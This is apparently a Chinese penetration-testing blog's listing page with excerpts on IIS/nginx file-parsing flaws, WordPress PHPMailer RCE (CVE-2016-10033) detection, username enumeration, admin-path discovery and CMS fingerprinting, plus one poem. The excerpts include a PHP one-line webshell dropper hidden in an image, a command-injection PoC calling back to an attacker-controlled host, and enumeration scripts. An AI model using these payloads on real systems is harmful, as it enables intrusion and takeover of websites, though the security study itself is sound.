关于文件名解析的一些探索

作者: LandGrey ●   创建时间: 2017年8月24日 01:23 ●   标签:   #渗透测试,   #Web安全备忘录

一:IIS 服务器01:IIS <=6.0 解析漏洞起因是解析标准不一致,即Web应用程序与IIS服务器对同一个文件的文件名称(类型)理解不一致造成。 利用方法有两种: 1. 畸形目录解析/xxxx.asp/xxx.jpg2. 分号文件解析test.asp;.jpg 第1种是因为xxx.jpg图片文件在某个以.asp结尾的目录下面,而被IIS当成可执行文件来解析 第2种虽然以.jpg结尾,但IIS 解析时忽略了分号";"后面的部分,当成了test.asp文件来解析 默认的可执行文件后缀还有三个".asa"、".cer"、".cdx",不知道有没有隐藏的,如果手头有IIS环境的话, 可以生成所有一个到四个英文字符的后缀文件,去Fuzzing可执行文件名后缀 02:IIS 7.0&7.5畸形解析漏洞默认fast-cgi开启状况下,在一个文件路径后面加上/xx.php会将原来的文件解析为php文件 将shell语句,如 <?PHP fputs(fopen('shell.php','w'),'<?php eval($_POST[cmd])?>');?> 写在文本xx.txt中(或者shell语句直接写一句话,用菜刀、cknife等直连,只是容易被查杀),然后用命令将shell语句附加在正常图片xx.jpg后 copy xx.jpg/b + xx.txt/a test.jpg 上传test.jpg,然后访问test.jpg/.php或test.jpg/abc.php当前目录下就会生成一句话木马 shell.php 二:nginx01:畸形解析漏洞默认fast-cgi开启状况下,在一个文件路径后面加上/xx.php会将原来的文件解析为php文件 将shell语句,如 <?PHP fputs(fopen('shell.php','w'),'<?php eval($_POST[cmd])?>');?> 写在文本xx.txt中(或者shell语句直接写一句话,用菜刀、cknife等直连,只是容易被查杀),然后用命令将shell语句附加在正常图片xx.jpg后 copy xx.jpg/b + xx.txt/a test.jpg 上传test.jpg,然后访问test.jpg/.php或test.jpg/abc.php当前目录下就会生成一句话木马 shell.php 02:空字节代码执行漏洞在fast-cgi关闭的情况下,nginx版本:0.5.*, 0.6.*, 0.7- 0.7.65, 0.8 -0.8.37,nginx在图片后附加php代码然后通过访问 xx.jpg%00.php 来执行其中的代码 03:文件名逻辑漏洞(CVE-2013-4547)受影响的nginx版本: 0.8.41至1.4.3和1.5.7之前的1.5.x ...

更多 →

寻找网站后台路径的N种姿势

作者: LandGrey ●   创建时间: 2017年7月27日 23:16 ●   标签:   #渗透测试,   #Web安全备忘录

下列方法无刻意排列顺序,仅为备忘记录。 一:间接接触0x01: search1. 直接搜索目标可能存在的相关后台路径 site:target.com intitle:"后台|登录|登陆|验证码|管理员|服务系统|系统登录|认证码|验证身份|管理系统|管理后台|管理平台|mgmt|sysadmin|admin|password|login|manage" 2. 尝试搜索一些文档型资料路径,判断是否包含后台路径 site:target.com filetype:"doc | docx | pdf | xls | xlsx | ppt | pptx" 3. 在目标链接较少的情况下,可以浏览网站所有路径,顺便观察组成特点,构造出后台路径 site:target.com二:直接接触0x02: view the site1. 查看robots.txt文件,查看是否存在网站后台路径 2. 使用传统路径爆破方式,猜测可能存在的后台路径 3. 识别网站是否是常见CMS或框架,使用对应的默认路径尝试 4. 直接浏览目标网站,注意网站界面的左手方和底部,查看是否有后台直达链接 5. 注意观察Cookies等HTTP头信息,寻找特殊Banner,搜索相关应用框架信息,确定后台路径 6. 寻找网站页面源码中的特殊Banner,去google搜索或Github等平台查找源码信息,确定后台路径 7. 尝试手工或自动fuzzing网站,致使其报错,查看是否有相关路径信息,进而猜测后台路径信息 8. 查看网站页面源码,注意链接路径(特别是上传的图片、文件等资源链接),验证是否包含后台路径 9. 利用网站的特殊文件(通常需要扫描),如整站源码压缩备份文件、phpinfo页面、默认探针文件、README、Lisense文件、部署文档等,收集可能的网站后台路径信息 10. 网站爬虫(通常使用爬虫工具,如AWVS、Netsparker、Burpsuite),爬取网站链接,分析提取后台路径信息0x03: open mind1. 端口扫描,判断后台是否部署在同一主机的其它端口 ...

更多 →

WordPress PHPMailer RCE 批量检测poc

作者: LandGrey ●   创建时间: 2017年7月2日 16:34 ●   标签:   #渗透测试,   #python,   #网络安全

0x00. 漏洞详情WordPress PHPMailer RCE 准确的说法应该是 CVE-2016-10033:WordPress PHPMailer 4.6 - Host Header Command Injection参考: WordPress-Exploit-4-6-RCE-CODE-EXEC-CVE-2016-10033漏洞复现与poc编写:vulhub/wordpress/phpmailer-rce0x01. 批量检测需要解决的关键点:1. 获得一个存在的用户名参考: WordPress用户名枚举的几种方法2. 批量检测的方法利用漏洞在目标主机上执行命令,带独立标志(域名或IP)请求某个我们控制的主机,查看控制主机记录,确定存在漏洞的主机;利用批量漏洞检测框架,并发批量测试。测试情况如图:三. POC将下面poc中的地址http://yoururl.ceye.io替换为自己控制的。#!/usr/bin/env python# coding:utf-8import reimport randomimport requestsdef generate_command(command): command = '${run{%s}}' % command command = command.replace('/', '${substr{0}{1}{$spool_directory}}') command = command.replace(':', '${substr{13}{1}{$tod_log}}') command = command.replace(' ', '${substr{10}{1}{$tod_log}}') return 'target(any -froot@localhost -be %s null)' % ...

更多 →

WordPress用户名枚举的几种方法

作者: LandGrey ●   创建时间: 2017年6月29日 13:27 ●   标签:   #渗透测试

一. WordPress 用户名枚举漏洞CVE-2017-5487 WordPress < 4.7.1 - Username EnumerationWordPress 版本小于 4.7.1,配置了 REST API,访问下面的路径,就会返回包含用户名信息的json数据。获得的用户名是最全的,速度也最快,但是实测发现不少站点都不适用,批量效果不必太期待。/wp-json/wp/v2/users/demo :#!/usr/bin/env python# coding:utf-8 import requestsdef poc(target): username = [] try: req = requests.get('%s/wp-json/wp/v2/users/' % target) content = req.json() for v in content: username.append(str(v['link']).split('/')[-1]) except: pass return username 二. WordPress 文章存档枚举用户名访问下面的路径,如果存在对应用户id,则显示的页面中会包含用户。现在大部分工具在枚举用户名时采用此方法,比较稳定,遍历id足够多,可获得较全的用户名,但有一部分站点故意屏蔽了此方法枚举用户名。/?author=id因为版本和语言等差异,没有统一的正则匹配方法,所以demo中的正则表达式不是适用于所有情况的。demo:#!/usr/bin/env python# coding:utf-8import reimport requestsdef poc(target): username = ...

更多 →

打造自己专属的PentestBox

作者: LandGrey ●   创建时间: 2017年6月7日 11:25 ●   标签:   #渗透测试

ws 0x00: 准备一. 预备知识请先大致浏览下以下内容: 官网 Windows渗透利器之Pentest BOX使用详解(一) Windows渗透利器之Pentest BOX使用详解(二) 二. 原料1. PentestBox (官网下载) 2. U盘 (Kingston DTR30G2 32GB) 安装在U盘中,是为了最大化发挥PentestBox易携带的优点,即插即用,去依赖化; 推荐购买32G大小,支持USB 3.0的优质U盘,因为读写比较频繁,质量差的U盘不能胜任; 另外选中 Kingston DTR30G2 32GB 的原因,主要是橡胶套,一定程度上防水、防尘、抗震,安全的特点。 3. 移动硬盘或备份U盘(可选) 主要是用作安全备份,定制中途错误恢复; 最低要求拷贝完整的一份PentestBox到主机硬盘中; 三. 定制思路由表及里: 定制图标和界面定制toolsmanager定制python环境定制默认工具定制自定义命令定制默认命令定制exploit-database其他 0x01: 定制过程注:可先跳至 0x02: 需要注意的坑 部分查看,防止踩坑。一. 定制图标和界面 在U盘根目录下创建目录 pentestbox,将下载的 PentestBox-with-Metasploit-v2.2.exe 直接解压至pentestbox 目录; 接着在U盘根目录下autorun.info 文件,ico.ico文件,hack.bat文件,各个文件内容如下: autorun.info (自动加载U盘图标) [autorun]open="" autoplay=trueICON="ico.ico" ...

更多 →

多维度指纹规则识别CMS

作者: LandGrey ●   创建时间: 2017年5月30日 17:13 ●   标签:   #渗透测试

0x00: 前言CMS(Content Management System)类型的识别是老生长谈的问题,这篇文章就当抛砖引玉了~识别CMS类型的主要方式: 1. 根据网页内容含有的特殊表征 2. 根据网站路径的确定静态资源 3. 根据网站的HTTP响应头 4. 根据网站目录结构的整体特征用的最多的,就是第一种和第二种探测方式;第三种通用性较差,不太常用;第四种几乎没见到过具体实现,因为不实用,耗时长,而且容易被waf屏蔽。0x01: 识别方式简介1. 根据网页内容含有的特殊表征网站主页内容含有的一些特殊字符串,如Powered by xxxcms; 引用css特殊的标志,如 Metinfo 主页常含有class="met-navfixed" 、class="met_clear" 等CSS引用标志; 主页内容含有的特殊的正则表达式,如 PHPcms 主页常有类似于正则 /index\.php\?m=content&c;=index&a;=lists&catid;= 的字符串; 2. 根据网站路径的确定静态资源robots.txt 中含有的cms名称等特殊字符串; favicon.ico 图标的hash值; 某个特殊路径的图片、css文件、REAME文件、license文件、甚至文档等资源的hash值或特殊字符串;3. 根据网站的HTTP头某个路径的图片、css等文件存在的status code: 200 响应; ThinkPHP 常爆出带'哭脸'的"无法加载控制器"等错误响应; 另外,还可以通过网站HTTP headers、Cookies等字段含有的特殊值来判断,不过不常用,也没必要;4. 根据网站目录结构的整体特征需要爬取网站,基本不会单独实现此功能0x02: 程序构想单个目标,基于多维度规则,设定并判断权重,多线程运行, 网站响应内容复用,得分判断CMS类型。 为了方便加载和统一设置规则,选择使用正则表达式解析规则文本。一种CMS规则存取到一个文本文件中,例如一个检测discuz!7.x版本的规则如下: type: [discuz!7.x]help: []content: ['content="Discuz! 7\."', 'content="2001-2009 ...

更多 →

作者: LandGrey ●   创建时间: 2017年5月27日 21:37 ●   标签:   #诗词

泥融飞燕,草舒光柔。 花吐新蕊,江容细流。 枝头新绿,整装露头。 犬卧柴门,春风抚揉。 良人未归,粥意正浓。 叶揽大地,山青花密。蝶舞三戏,蜂酿三蜜。雀饮清溪,荷露自浴。犬逐矢突,自相得意。良人立舟,弄水嬉游。 细雨净空,草叶相融。潇竹筛月,傲菊盛隆。虫呼蛙鸣,意犹未酬。犬吠空山,回音绕留。良人乐归,共话夜烛 冰连霜叶,雪点山头。天寒云重,黄梅仍秀。西风骤既,未有人迹。犬就其热,靠炉静寂。良人近我,天地致密。 LandGrey 于 2013.11.28日晚

更多 →

命令执行与代码执行的判断

作者: LandGrey ●   创建时间: 2017年5月18日 13:28 ●   标签:   #网络安全,   #思考

一. 判别理念 参考OWASP的 代码注入和命令注入,其中的相关解释: Code Injection differs from Command Injection in that an attacker is only limited by the functionality of the injected language itself. 可以用下面一句话判断是代码执行还是命令执行 执行效果是否受制于语言本身与其安全机制 代码执行: 1. 执行的效果完全受限于语言本身 只能执行当前语言的相关语法,不能达到执行系统命令的程度 2. 执行的效果不完全受限于语言本身 可执行当前语言的相关语法,可达到执行系统命令的程度,但可能受制于语言安全特性本身,得不到正常执行 命令执行: 1. 执行的效果不受限于语言语法本身,不受命令本身限制 不能执行当前语言的相关语法,仅能达到间接执行系统命令; 可执行当前代码语言的相关语法,可达到间接执行系统命令的程度,不会受制于语言安全特性本身。 二. 实例 1. Python反序列化漏洞 Python Pickle反序列化带来的安全问题有如下一段关于python pickle反序列化操作的示例代码: import osimport pickleclass A(object): ...

更多 →

Django安全编码与实践分享

作者: LandGrey ●   创建时间: 2017年5月17日 17:02 ●   标签:   #分享,   #python,   #django

主要分享关于 Django安全编码与实践 的文章,已经压缩成图片,方便查看。附件1: Django 安全最佳实践.png原文链接: Django 安全最佳实践附件2: 从Pwnhub诞生聊Django安全编码.png原文连接: 从Pwnhub诞生聊Django安全编码附件3: Python安全编码指南.png原文链接: Python安全编码指南

更多 →
<